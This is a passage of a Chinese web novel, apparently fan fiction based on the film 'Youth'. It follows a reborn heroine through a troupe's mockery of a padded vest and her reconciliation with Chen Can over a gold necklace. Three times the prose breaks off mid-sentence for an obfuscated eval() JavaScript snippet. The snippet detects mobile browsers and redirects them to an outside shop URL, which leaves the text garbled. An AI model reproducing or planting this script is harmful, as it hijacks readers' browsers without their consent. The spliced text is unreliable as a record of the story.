她刚来团里,本就处处受排挤,人缘不好,只能忍辱负重,把所有委屈都往肚子里咽,拼了命地加倍练习。
等她深夜一身疲惫地回到宿舍,所有人都理所当然地认定——那件缝了海绵的背心,就是她的。
连解释的机会都没给。
小芭蕾更是得寸进尺,一脸刻薄地冲上去,伸手就要拉扯何小萍的衣服,摆明了要当众搜身,把最后一点脸面都踩在脚下。
兆悦现在回想起来,心口还是一阵发闷。有些人,有些事,一旦被人钉上了标签,就连辩解一句,都显得多余又无力。
天气越发热,兆悦心里那桩陈年旧事就越清晰。
她知道,电影里那件缝了海绵的背心自始至终没明说主人是谁,观众看得模棱两可,可只有身在团里的她们最清楚——种种细节堆在一起,答案早明了了。
镜头里何小萍明明在泳池边的水池刚洗过衣裳,风一吹,那件背心就偏偏挂在了晾衣绳上,之后也一直没人敢认领,直到她深夜归来,所有矛头齐刷刷指向她。
兆悦这两天有意无意地留意,终于在何小萍洗完澡、慌忙套衣服的那一刻,悄悄瞥到了一眼。
她心里咯噔一下——果然,就是何小萍的。
知道归知道,这话却不能明说。
这一世有她在,何小萍早已不像当年那样受尽排挤、处处被嘲笑,可这种事终究是女孩子家最私密的心事,半分都不能摊在明面上。
兆悦趁着没人在旁边,只轻轻跟何小萍提了两句,话说得极浅、极隐晦:“小萍,咱们有些东西,洗完就赶紧收好吧,别在外头放着。”
“人多眼杂的,免得惹来不必要的麻烦。”
何小萍只当是平常叮嘱,懵懵懂懂应了,并没往心里去。
结果这天,她们又约着一起去游泳池。
兆悦一向是不去的,现实里她本就不爱凑这种热闹——水池里什么人都有,有人洗,有人泡,有人甚至就在池边泡脚,她怎么想怎么觉得膈应,压根不想下去。
最多也就是在池边随便泡泡脚罢了。
偏偏今天,陈灿他们男兵也都来了。
也不知是胜负欲上来了,还是什么别扭心思在作祟,兆悦翻出了一件格外扎眼的泳衣——红白相间的波浪纹,贴身又利落,勾勒出她腰肢纤细、肩线好看,曲线匀称又亮眼,往边上一站,就比旁人多出几分惹眼的韵味。
郝淑雯穿的是最简单的黑色泳衣,几乎什么也没露,她本就生得高大丰腴,身段是有的,只是不算纤瘦。
其他人也是各式各样。
萧穗子穿的最符合她安静斯文的性子,一身橘白相间的小格子泳衣,干净又秀气。
林丁丁则是一身红色波点,衬得人娇俏甜美,再加上她一向温温柔柔的性子,身边自然围着一帮男兵追捧。
女兵的泳衣各有各的模样,男兵则统一都是黑色泳裤,一眼望去整齐划一。
兆悦没忍住,悄悄往陈灿那边瞟了一眼。
虽说在现代,短视频里见过不少露腹肌、露上身的男主播,可实打实亲眼看见,感觉完全不一样。
这个年代的男生,平日里大多穿白背心,太阳晒久了,身上都有道分明的界限:背心遮着的地方还偏白,露在外面的肩背、胳膊,早已晒成了淡淡的浅咖啡色,肌肉线条紧实又好看。
兆悦心头轻轻一跳,赶紧收回目光。
不行,不能被美色迷了眼,更不能色令智昏。
一群人里,最白嫩的要数闫展博,他本就比普通男生讲究得多,甚至还像女生一样,肩上搭着一条大毛巾,时不时擦一擦。
他见兆悦站在边上兴致缺缺,便悄悄凑过来,神神秘秘地冲她招手:“悦儿,走,我给你露两手去。”
两人趁着没人注意,悄悄溜到了旁边的排练厅。
厅里摆着一架兆悦平时常弹的三角钢琴,其他人也能用,就一直放在那儿。
闫展博拉过琴凳坐下,回头冲她一笑:“其实我也会弹,我给你弹一个。”
指尖落下,弹的正是当时最流行、最耳熟能详的传统歌曲,琴声清亮,在安静的排练厅里轻轻回荡。
64. 阴雨
没一会儿,兆悦就听见外面传来嘻嘻笑笑、吵吵闹闹的声音,心里猛地一沉,暗叫不好。
她轻轻拍了下琴身,示意闫展博自己得出去,说完便小跑着往泳池边赶。
果然,这会儿风已经大了起来。
晾衣绳上一件衣服被吹得晃来晃去,一群男兵女兵正围在那儿指指点点,笑得不怀好意。
兆悦刚走近,就听见郝淑雯尖刻的声音:“谁呀这是,这么不要脸。”
一遇上这种刁难人的事,她就格外机灵,眼珠一转,指着旁边一件衬衫:“唉,你们知道旁边这件衬衫是谁的吗?”
林丁丁立刻柔柔弱弱接话:“那怎么知道,这种衬衫我们每个人都有。”
萧穗子看了看,也小声嘀咕:“又没写名字……”
兆悦刚走到跟前,几人自然而然就把她拉进了圈子里。
谁也不会往她身上想——就她那身段,哪里还用得着这个。
郝淑雯最是积极,一把拉过她,声音压得又低又兴奋:“哎哎,小悦快来看!不知道是哪个,这么不要脸。”
就在兆悦走近的那一刻,一向尖酸刻薄的朱克指着晾衣绳上的东西,站在跳水台上大声嘲讽:“这就是假大空!”
前面的小芭蕾听不下去,一把将他推下水,笑骂:“去你的吧!”
陈灿回头扫了一眼,目光立刻又落回刚走过来的女孩身上。
其实从她今天一出现,他的视线就没真正离开过她。
他一直都在注意她,每一个动作、每一处模样,都清清楚楚落在他眼里。
她今天穿得格外惹眼,红白波浪纹的泳衣贴身利落,衬得她肩颈线条干净,腰细腿长,站在人群里一眼就能看见,和身边那些素净、保守的姑娘完全不同。
连她脚上那双带点小跟的凉鞋都不一样,走路时轻轻点地,发出细碎又清脆的声响,哒哒哒地,一下下敲在他心上。
刚才她没一会儿就被闫展博悄悄叫走,两人一起溜去排练厅的样子,他也全都看在眼里。
那一刻,陈灿心里猛地翻涌起来,又闷又乱,波涛汹涌——难道你现在,已经能和别人一起,待在我们当初那样的地方,说悄悄话、走得那样近了吗?
他不动声色,只紧紧盯着她,眼底藏着连自己都不愿承认的占有与不甘。
连平时还算正直的萧穗子都凑近瞅了瞅,一本正经地开口:“这海绵……是搓澡的吧?”
说完自己先忍不住笑了起来,跟着大伙一起起哄。
兆悦看着眼前这群人,心里只觉得一阵恶心。
林丁丁也跟着怪腔怪调地附和:“咱们女兵里,还有这样作怪的呢。”
一旁的卓玛更是一脸嫌恶,抓起那件内衣甩了一下,尖声道:“女兵的败类!”
萧穗子到底还有点良知,见势头越来越不对,连忙伸手去扯那件内衣:“快摘下来吧,男兵都看着呢。”
郝淑雯立刻伸手拦住,语气带着故意刁难:“哎,别动啊——谁摘下来就是谁的。”
说完又把东西原样挂回去,拿起旁边被风吹开的衬衫重新盖好。
这时陈灿忽然开口,语气带着几分吊儿郎当的调侃:“哎哟,还挺懂行啊,这叫保护犯罪现场。”
兆悦一听,火气“噌”地就上来了。
原来这群人的起哄调侃里,居然还有他一份。
她一时忘了两人早已分开,下意识还像从前那样,一个眼神就能镇住他。
她猛地转头,冷冷一眼剜向陈灿。
没想到陈灿也像忘了分手这回事,被她这一眼扫过来,立刻抿紧了嘴,瞬间收声,像做错事被抓包的小孩。
郝淑雯没看出门道,刚刚还笑着打趣陈灿:“闭上你的臭贫嘴。”
看陈灿这个样子,她还得意得很,觉得是自己一句话把人训老实了。
可只有陈灿自己心里清楚,他是被兆悦那个眼神治住的。
下一秒他才猛地回过神:嘿,我都跟她分手了,怎么她一个眼神过来,我就这么听话?
心里正懊恼,忽然有人大喊:“掉点了!掉点了!下雨了!下雨了!”
杭春明平时虽爱耍宝,跟男兵们玩得熟,可对朱克这种不尊重人的家伙一向没好感,这事自始至终都游离在外,站在最边上没掺和。
一听下雨,他第一反应就是脱下自己衬衫,朝兆悦递过去:“快披上,去排练厅躲雨!”
这一喊,原本电影里只有几个女兵去的排练厅,这会儿男兵女兵一群人,呼啦啦全都跟着往那边跑。
大家一窝蜂涌进排练厅,才发现闫展博还坐在琴凳上弹琴。
旁人没在意,可陈灿从始至终都盯着兆悦,心里早跟明镜似的——他俩刚才明明就一起待在这儿。
他压着心底的闷火,淡淡开口问了一句:“你在排练厅干啥呢?”
闫展博抬眼一笑,语气里明晃晃带着挑衅,故意拖长了调子:“刚刚请了特级指导员兆悦,专门指导我一下。”
这话一落,陈灿太阳穴轻轻跳了一下,下颌线微微绷紧,指尖不自觉蜷了蜷。
他死死压着翻涌的情绪,只露出一丝极淡、极冷的微表情,没当场发作,却已经醋意翻涌。
一旁的郝淑雯还沉浸在刚才的热闹里,一见这情形立刻凑上来,亲热地搂住兆悦的胳膊,笑得促狭:“哎哟——特级指导员呐!可真厉害!”
林丁丁、萧穗子几人也跟着笑出声,气氛一时轻松热闹。
可兆悦心里半点笑意都没有,经历了刚才泳池边那群人的嘲讽与刻薄,她只觉得疲惫又恶心,完全没心思像平时那样斗趣打闹。
她只是淡淡地应了一句:“就是听一下而已。”
说完,她转身把身上的衬衫递还给靠墙坐在地上休息的杭春明。
几人见她态度冷淡,没什么聊下去的兴致,很快又把话题绕回了刚才那件内衣上,七嘴八舌地议论起来。
郝淑雯率先把话题扯了回来。
她靠在排练厅的床边,声音压得很低——毕竟男兵们就在另一头坐着,却还是精准地把话头定了性:“你们说说,居然还做假胸呢。”
她压根不管那人是为了垫出好看的身形,还是为了跳舞时线条更利落,一句话就把这点姑娘家的小心思,钉上了“作假”的标签。
林丁丁本就心里不爽,自己盼都盼不来的东西,郝淑雯竟还当着人面嫌弃。她立刻拿起毛巾,轻轻往郝淑雯身上甩了一下,嗔道:“得了便宜还卖乖!”
小芭蕾跟着笑闹起来,半点不顾及旁边的男兵,大大咧咧接话:“那得感谢你的军长爸爸和护士长妈妈!”
这话像根针,猝不及防扎进兆悦心里。
她本就因泳池边的闹剧心情郁结,此刻听见这话,思绪瞬间飘得更远。她在心里冷冷一哼:是啊,军长爸爸,护士长妈妈。
怪不得最后陈灿选了郝淑雯。
原来他也是个趋炎附势的,什么情分,什么念想,他磕掉了牙,萧穗子还给他送了足金项链做牙床底座,结果在实打实的家世面前,终究都不算数。
这个念头一起,兆悦只觉得心口又闷又凉,连带着看向前方的目光,都染上了一层化不开的寒意。
这边小芭蕾的话还没说完,带着几分羡慕又几分打趣:“把你的营养都长对了地方。”
郝淑雯听得愈发得意,挺了挺脊背。
优越的外形,高大丰腴的身段,再加上旁人羡慕不来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309146|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的家境,足够她在这群人里抬着头做人。
另一头的男兵们,恰好听见了“营养长对地方”这句,以朱克为首的几人立刻发出一阵哄笑。
郝淑雯脸上掠过一丝羞赧,连忙把话头转向兆悦,试图转移注意力:“要真说营养长对地方,哪是我,明明是兆悦吧。”
兆悦冷不丁被点到名,还是在这样的话题里,半点高兴都没有,更谈不上什么洋洋自得,只觉得浑身不自在。
倒是萧穗子,正低头自顾自擦着湿衣服,随口接了一句,语气里带着几分说不清的艳羡与酸涩:“可不是嘛,怎么什么好东西,都给兆悦长去了。”
这话自然也落进了陈灿耳朵里。
他哪里知道兆悦心里正把他骂得狗血淋头,只看见她站在那儿走神,眼神沉沉的,不知在想些什么。
把话题又扯回去的是卓玛。
她依旧是那副尖酸刻薄的模样,和刚才骂“女兵的败类”时一模一样,冷声道:“真寒碜,那海绵跟狗啃的似的。
肯定是背着人慌慌张张、手忙脚乱的,把活赶成那样的。”
正是阴雨天,天色沉沉,排练厅又空旷安静。
只剩这一群少男少女,没了平日里那么多规矩纪律,说话也越发直白放肆。
男兵那边,尤其是朱克,更是没了什么男女大防的顾忌,在一旁嬉皮笑脸地接话:“不是说跟搓澡的海绵一样吗?”
这话一出,立刻又引来一大片哄笑。
哄笑声里,萧穗子笑得最欢,一手拍着把杆,一手捂着肚子,几乎直不起腰。
有人扯了扯她的胳膊,压着声问:“穗子,你笑什么?”
萧穗子喘着气,话一出口,排练厅里的笑声瞬间拔高:“那海绵要是搓澡的,指不定还带着老泥儿呢!”
“去你的!真恶心!”身旁的人笑着推了她一把,脸上却也带着止不住的笑意。
兆悦全程冷着脸,唇线绷得笔直,指尖攥得发白。她刚要往前站,琴凳那边突然传来一声巨响。
“咚——”
闫展博猛地按下几个琴键,厚重的和弦在空旷的排练厅里炸开。
所有人的笑声戛然而止,齐刷刷地看向他。
闫展博缓缓抬眼,目光冷得像窗外的阴雨,扫过萧穗子、郝淑雯,最后落在卓玛身上,一字一顿:“你们不害臊吗?”
郝淑雯立刻炸了毛,往前跨了一步,梗着脖子反驳:“什么害不害臊?她都敢做这种东西,还晾在外面让我们看见,我们怎么就不能说了?”
“人家愿意怎么做,碍着你们什么了?”闫展博的声音不高,却带着不容置疑的力道,“又没伤天害理,你们这是在起哄欺负人。”
兆悦正有一肚子话要讲,见闫展博开了头,立刻接了上去,寒着脸,语气冷硬:“都是一个团的姐妹,别再拿这种事笑话人了。”
郝淑雯心里其实清楚,这么围着嘲笑确实过分,也不想真跟兆悦撕破脸,话锋一转,带着几分嗔怪的试探:“哎呦,闫展博一开口,兆悦你怎么就跟着附和啦?”
眼看她又要扯着歪理诡辩,人群里忽然响起杭春明的声音:“都行了。”
他从男兵那边走过来,脸上没了平日里的嬉皮笑脸,神情沉静,“不就是个内衣吗?有什么好揪着说的,闲的。”
自上次众人撞见杭春明独自抽烟时那股与年龄不符的老成后,大家对他的态度便多了几分忌惮。
此刻见他冷下脸,都知道他是真的不高兴了。
卓玛张了张嘴,终究没再出声;萧穗子也收了笑,低下头抠着衣角;朱克等人对视一眼,也识趣地闭了嘴。
排练厅里的哄笑与喧闹,终于在阴雨天的沉闷里,渐渐平息下来。
65. 项链
回到女兵寝室,因着方才在排练厅被闫展博、杭春明和兆悦三人接连驳斥,众人没再像先前那般张扬地议论,寝室里一时只剩衣物摩擦和洗漱的细碎声响。
偏偏小芭蕾憋不住,洗漱完坐到床边,率先把话头又提了起来,语气里还带着股不服气的劲儿:“不行,这事不能就这么算了,明天咱们守株待兔,非得逮到那个作怪的人不可!”
兆悦早已洗漱完毕,正靠在床铺上,闻言掀了掀眼皮,语气不咸不淡:“你们怎么就确定能逮到正主?说不定现在已经有人李代桃僵,把别人的衬衫换了上去,最后拿那件衬衫的,岂不是平白受了冤枉?”
众人闻言都是一愣,细细琢磨了一番,觉得这话竟也有几分道理,可心里那股想找出“始作俑者”的念头,终究还是压不下去。
兆悦见状,嘴角勾起一抹淡不可察的笑,又补了一句:“要我说啊,这事儿的主角,都不一定是咱文工团的女兵。这晾衣区又不是只供我们用,来往晾晒衣服的人多了去了,不是吗?”
这话一出,郝淑雯像是被点醒了一般,脑子里瞬间闪过一个人——那个她平日里最看不顺眼、也最讨厌的萧燕!
郝淑雯眼睛瞬间亮了,像是终于找到了合情合理的出口,立马接话,声音里带着笃定的嫌恶:“对呀!咱们天天练舞、学乐器,哪个不是身姿挺拔、清清爽爽的?要我说,还真不一定是咱们里头的人。”
她话音一顿,故意拖长了调子,目光扫过寝室众人,语气里满是不屑:“萧燕不是天天说我们这些女兵身材怎么怎么样、作风怎么不好吗?我看就是她羡慕,就是她的!”
第二天早上,兆悦悄悄把晾衣场和寝室里议论的事告诉了何小萍。
何小萍听得一阵后怕,暗自庆幸昨晚自己只在排练厅待了一会儿就先走了,没被她们堵上,不然很可能当场就被发现了。
这件事也算暂时被盖了过去。
过了几天,又有人组织一起去游泳。
兆悦特意私下嘱咐何小萍,别再穿那些垫身形的衣物。
何小萍那天听完整件事就已经吓得不轻,早把那些海绵拆得干干净净,全都扔了。
这会儿她安安稳稳穿着正常的泳衣过来,众人的疑心自然也没再落到她头上。
这天天气格外好,晴空万里,一丝雨意都没有,就是太阳有些毒,晒得人皮肤发疼。
兆悦向来受不了暴晒,找了个借口溜开,又躲回排练厅偷懒。
正好赶上发雪糕,她顺手拿了一根,便往排练厅里走,一边慢悠悠吃着,一边打量着后台新搬来堆在那儿的道具。
直到身后传来脚步声,她才慢悠悠转过头,看清了来人。
是陈灿。
兆悦心里咯噔一下,握着雪糕棍的手猛地收紧,指尖微微发疼。
阳光透过玻璃窗斜切进来,亮得刺眼,她却没移开视线,反而直直盯着他,眼底瞬间浮起一层冷意。
陈灿一进来就下意识往四周扫了一圈,明显是在找人,脸色本就不好,看清只有兆悦一个人时,语气立刻带了刺:“我还以为你跟闫展博一块儿躲在这儿呢。”
兆悦当场沉了脸,语气又冷又冲:“我跟谁在一起,跟你有什么关系?”
陈灿被她这一句顶得心头一滞,脸色更沉,语气里也带上了火药味:“我就随便问问,你急什么?”
兆悦冷笑一声,抬眼看向他,眼神里满是不耐:“我急不急,也跟你没关系。”
两人就这么站在空旷的排练厅里,隔着几步远的距离对峙,阳光落在他们身上,却烘得气氛越发紧绷,连空气都像是凝滞了一般。
她心里清清楚楚:是你自己追过来的,我倒要看看你到底想说什么。要是嘴里吐不出半句好听的,那就趁早给我滚。
陈灿被她这沉默又带着锋芒的眼神看得一僵,心头那点冲劲瞬间就泄了。
他本就是凭着一股冲动找过来,此刻人站在这儿,反倒先败下阵来——他这副急冲冲的样子,其实早就把心思暴露得一干二净了。
陈灿被她这沉默逼得再也绷不住,声音又涩又冲,脱口而出:“怎么,我们俩刚分开,你就把人领到我们俩以前待的地方了?”
兆悦终于开口,每一个字都像冰碴子扎过去:“我们?哪来的我们?”
陈灿心口猛地一闷,像是被人狠狠攥了一把,脸色瞬间白了几分,嘴上却还硬撑着,语气又酸又涩:“是是是,是我还停在过去,不像你,早都迈出新一步了。”
兆悦眉尖一挑,半点情面不留:“你还有什么要说的?”
她低头看了眼手里快化得一塌糊涂的雪糕,黏腻的糖水沾在指缝,心里越发烦躁。
这一幕落在陈灿眼里,他心脏又是猛地一紧。
他今天本来就是忍无可忍才冲过来的——他怕,怕兆悦真的跟闫展博那个小白脸走了,怕自己真的一点机会都没了。
这小几个月,他从来没放下过她。
那份难受非但没淡,反而一天比一天深,深到喘不过气。
食堂里,他总控制不住盯着她的背影,想起以前就坐在她对面,安安静静看她吃饭。
想起那次她把饺子推给他,自己没吃成饭,他跑去给她拿吃的,她小口小口咬着,安安静静的样子。
院里那条路,他走一次,心就揪一次——他们一前一后、肩并肩散过多少次步。
排练厅更是处处都是影子,每一个角落,都藏着他们以前偷偷约会的画面。
就连路过卫生队那排长椅,那年新年,她偷懒装晕,他把她抱过去,她把手伸到他面前,笑着说“那你把我抓走吧”,他一把攥住她手的温度,至今还残留在掌心。
甚至那张婚纱照,还安安稳稳揣在他衣兜里。
前几天气到极点,他明明把照片掏出来想扔掉,可到了晚上,还是忍不住拿出来看了一遍又一遍,最后又默默塞回了衣服最里面。
他没忘,一刻都没忘。
陈灿看着她冷硬又带着点不耐烦的脸,心里那点逞强的硬气彻底碎了。
他喉结滚了滚,声音压得很低,却认真得发颤,一字一句,全是憋了几个月的真心话:“我今天过来,不是来跟你吵架的。我说那些话,也不是有心刺你。我就是……想让你回来,想跟你重新在一起。”
他目光死死锁在她脸上,怕错过她一丝一毫的神情,语气软得不行:“这几个月我没一天放下过你。越装作不在乎,心里越疼。走到哪儿都能想起你,看什么都能想起我们以前。我明明把照片都掏出来了,还是舍不得扔……我就是放不下,真的放不下。”
兆悦握着快要化掉的雪糕,指尖微微发僵。
她听得出来,他这次是真的认真,真的走心,一点假话都没有。
这几天每次看见他,她心里也早就乱了,那份藏不住的心动又一点点冒了出来。
可她不能就这么松口。
当初是她先提的分开,是她先转身走的。
这几个月,他冷、她也硬,两个人都撑了那么久。
现在他一句话,她就乖乖回头?
哪有这么简单,哪能这么随便。
兆悦垂了垂眼,再抬起来时,脸上依旧是那副端着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309147|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
架子、不肯轻易松口的模样,只淡淡开口:“说完了?”
兆悦抬了抬眼,语气淡得不带一丝波澜:“我要是告诉你了,还算怎么回事?你自己想。”
这话一落,陈灿整个人都松了下来,眼底瞬间漾开藏不住的欢喜。
她没拒绝,是真的给机会了。
接下来几天,陈灿简直绞尽脑汁,一门心思想要拿出最像样的诚意。
正巧这时,兆悦收到了家里母亲苏琴寄来的家书,还附带了一只金镯子。
父母向来强势、控制欲强,可这次大概也心里有数,不声不响把女儿送到前线,总归让她受了委屈,便假托生日的名头,拿这只金镯子当补偿。
兆悦没推辞,直接戴在了手上。
旁人见了,免不了一阵羡慕。
排练时,萧穗子凑过来:“我妈也给我寄了个金项链,我舍不得带”
兆悦心里一清清楚——她知道,这条项链后来会被萧穗子拿去给陈灿当牙座。
可她面上只淡淡一笑,扯开话题:“我也就带两天玩玩,前阵子看你拿出来过,确实好看。”
说者无心,听者有意。
一旁的陈灿把这话牢牢记在了心里。
那个年代,黄金金贵得很,一家能有一两件就顶不错了。
陈灿硬是把自己这些年攒下的所有津贴全掏出来,又跟家里“软硬兼施”要了不少,托了好几层关系,才买到一条成色极好的金项链。
兆悦生日前几天,他托杭春明递话,让她晚上去排练厅等自己。
兆悦第一反应就是不想去。
都分开了,算什么关系,凭什么他一招手她就过去?
可杭春明知道内情,悄悄跟她说:“你就去吧,他是真下了血本,那东西多难弄,你去了就知道了。”
兆悦终究还是去了。
夜里的排练厅安安静静,只有一点月光从窗外漏进来。
她一进门,脸色依旧没什么好脾气,开口就直来直去:“你干嘛?有什么事?”
陈灿反倒乖得很,半点脾气没有,语气带着小心翼翼的讨好:“你过几天不是生日吗?我给你准备了个礼物,你看看喜不喜欢。”
他伸手,把一个小盒子递到她面前。
兆悦打开一看,整个人都怔住了。
她早听杭春明说他准备了重礼,却没想到是一条金项链。
她太清楚,在这个年代,这东西有多难得、多贵重。
心里一热,可嘴上依旧端着高冷,皱着眉看他:“你干嘛?想收买我?”
“哪里是收买。”陈灿连忙解释,眼神认真又温柔,“是给你的生日礼物。去年你生日,我没陪好你,今年我没忘,能提前送给你,没错过,我就已经很开心了。”
兆悦垂着眼,心里轻轻一软。
她自己都在暗自感慨,原以为这个生日,不会再有他的陪伴、他的礼物、他的亲近。
没想到,他还是来了。
陈灿看着她脸上微微松动的神情,往前轻轻走近一步,声音压得低低的,一字一句,全是藏了许久的真心:“兆悦,我知道我之前错了。我太要面子,错在明明在乎你,却偏偏对你冷、对你硬。我错过了那么多可以好好对你的时间,现在想起来,全是后悔。”
他顿了顿,目光认真得发烫:“这条项链,是我真心想送给你的。我不是想拿东西收买你,我就是想告诉你——我的真心。
以前是我不懂珍惜,现在我只想好好弥补,不想再错过你,不想再失去你。”
“兆悦,再给我一次机会,好不好?”
66. 复合
兆悦没说话,只是低头看着那条项链,一言不发。
陈灿被她这沉默看得心都提了起来,摸不准她是喜欢、是感动,还是根本不接受,只能小心翼翼地望着她,连呼吸都放轻了。
下一秒,兆悦“啪”一下合上盒子,瞪他,语气气恼:“这就是你的诚意吗,陈灿?”
陈灿一下子慌了,手足无措:“你……你不喜欢?还是想要别的?”
他是真的没法子了。
兆悦心里怎会不清楚,这条项链怕是掏空了他这些年所有津贴,说不定还跟家里伸手要了钱。
可她就是不能这么轻易松口。
她抬眼,语气带着几分较真、几分端着的架子:“怎么,你觉得我是这么世俗的人?给我点金的银的黄白之物,我就乖乖跟你和好、原谅你了?”
“不是不是!我不是这个意思!”陈灿急得连忙摆手,心慌意乱地解释,“我就是……看你有了金镯子,想着配条项链会好看……”
兆悦哼了一声,眼神淡淡,却字字清晰:“就这样,就想让我原谅你?对你也太轻松了。”
兆悦没说话,指尖在盒盖上来回摩挲,眼底却藏着一丝狡黠。
她向来是个配得感极强的人,打心底里认定自己该被珍视、被郑重对待,陈灿的付出本就是理所应当。
可眼前这条买来的金项链,终究少了点刻进骨子里的诚意,不够深刻,也不够让他记一辈子。
她要的,是能让陈灿吃到苦头、牢牢记住这份亏欠的“代价”。
陈灿被她的沉默揪得心头发紧,正想再开口,兆悦忽然抬眼,目光清亮又带着不容置喙的强势:“我记得刘锋会打首饰。”
陈灿一愣,下意识点头:“嗯,他跟后勤的老师傅学过两手。”
“但我不要他打。”兆悦打断他,将盒子往他怀里一塞,嘟着的嘴依旧带着几分气,盯着他,“我要你跟他学,亲手给我打一个蝴蝶结出来。”
陈灿哪里会不愿意,一千个一万个愿意都不够。
他捧着项链盒子,眼睛都亮了,忙不迭点头,语气里全是藏不住的欢喜:“好!我学!我现在就去找刘锋学!一定给你打出最好看的蝴蝶结!”
说完,他几乎是脚步轻快地转身离开,满心都是终于有了弥补她的机会。
排练厅里只剩下兆悦一个人,月光透过玻璃窗淡淡地洒进来,安静得只剩下她自己的呼吸。
她站在原地,思绪却翻涌个不停,越想越清醒,越想越透彻。
她太了解陈灿了。
即便两人这一世真心相爱过一段日子,她也从不会天真到以为,仅凭一段感情,就能彻底改变一个人根深蒂固的性格与思维方式。
文工团里的点点滴滴,她看得清楚。
前几天真实发生的那件衣服小事,他只当作无关紧要的笑闹,从不在意旁人的委屈。
而在电影里,何小萍被众人孤立霸凌时,他始终冷眼旁观、置身事外,文工团即将解散的那段日子,他更是冷静得近乎无情,毫不犹豫做出转业的决定,半点不为儿女情长牵绊。
萧穗子对他一片真心,甚至拿出母亲给的金项链给他做牙床的底座,可他最后,还是选择了郝淑雯。
兆悦比谁都明白,陈灿选择郝淑雯从不是因为深爱,不过是权衡利弊后的结果——郝淑雯家境优渥、背景过硬,能在他的前途上助他一臂之力,那是一场充满利益考量的交往,一段无关真心的婚姻。
后来1991年萧穗子的新书发布会,郝淑雯带着儿子到场,满口抱怨陈灿早已变成了眼里只有钱的钱串子,忙着下海赚钱、圈地牟利,连妻儿都顾不上,一顿安稳饭都不肯多陪。
这一切都让兆悦看得透彻,陈灿这个人,自始至终都是利益至上、极度理性的性格。
她清楚自己的家世背景与郝淑雯不相上下,也能确定此刻陈灿对自己是满心喜欢、拼命想要挽回,可她偏偏不想让家境成为陈灿选择自己的筹码。
她记得太清楚,陈灿一直刻意隐瞒自己干部子弟的身份,嘴上更是常常说着最看不惯干部子弟的臭毛病,一副对权势门第极为排斥的模样。
可他依旧选择了干部子弟出身的郝淑雯,等到八九十年代国家发展、机遇遍地时,他又毫不犹豫地利用自己的干部子弟身份拿地、赚钱、经商,前后的反差,早已将他的本性暴露无遗。
想到这里,兆悦在心底默默做了决定。
她绝不会主动袒露自己的家境,反而会刻意隐瞒,把自己伪装成一个普普通通、毫无背景的女兵。
她要赌一次,赌陈灿对她的心意,到底是纯粹的喜欢,还是权衡利弊后的选择。
她想看看,没有家世加持的自己,能不能让这个向来利益至上的人,抛开所有算计与现实,只因为她是兆悦,就坚定不移地选择她,而不是像电影里那样,转头奔向更有价值、更能帮到他的郝淑雯。
这几天,不仅杭春明看出来了,连迟钝如何小萍都瞧出了端倪——兆悦和陈灿,又不一样了。
前几个月,两个人冷得跟两座冰山似的,半句话都嫌多;如今兆悦依旧淡淡的,可远处陈灿的眼神黏糊糊的,腻得何小萍都看不下去。
这天排练完舞蹈,正是盛夏,出汗多,渴得也快。
何小萍抱着自己的军绿色搪瓷杯大口喝水,一转头撞见远处小号手直勾勾盯着兆悦的模样,当场被呛得连咳了两口。
她凑过去,压低声音好奇地问兆悦:“悦儿姐,他是被下降头了?”
兆悦怎么会没感觉,那目光简直如芒在背,烫得她浑身不自在。她尴尬地扯了扯嘴角,轻轻对何小萍说:“别管他。”
“你们和好了?”何小萍眼睛一亮,又追问。
兆悦连抬头去接那道炙热视线的勇气都没有,轻轻摇了摇头:“还没呢。”
何小萍了然地点点头,看了一眼不远处魂不守舍的陈灿,心里想着——这俩人,离和好,不远了。
到了晚上,兆悦再次踏入空荡荡的排练厅,陈灿立刻快步迎了上来,眼底藏不住的雀跃。
他没绕弯子,径直把一个小小的盒子递到她面前,声音带着几分邀功似的紧张:“你看。”
项链,已经打好了。
兆悦微微一怔,有些不敢相
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309148|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
信地抬眼看向他:“怎么这么快?是不是你让刘峰帮你做了?”
陈灿连忙摇头,一字一句都在强调自己的心意:“没有,我没让任何人帮忙,全是我自己一点点敲出来、磨出来的。”
兆悦抬眼看他,一言不发,眼神淡淡的,看不出喜怒。
陈灿心里发紧,小心翼翼地捧着那条亲手打的金项链,轻声问:“我给你戴上好不好?”
这话里的意思再明白不过——戴上了,就代表不生气了,就和好了。
可兆悦偏不如他的意。
她就是要让他再慌一慌、再难受一回。
她轻轻把头一撇,语气带着几分故意的冷淡:“我戴它干什么?谁要戴你的项链啊。”
这话一落,陈灿脸上的期待瞬间僵住,整个人都慌了。
他急得声音都有些发颤:“不是、不是说好了吗?我照着你说的,打成蝴蝶结的样子了,全是我自己打的……你怎么又……”
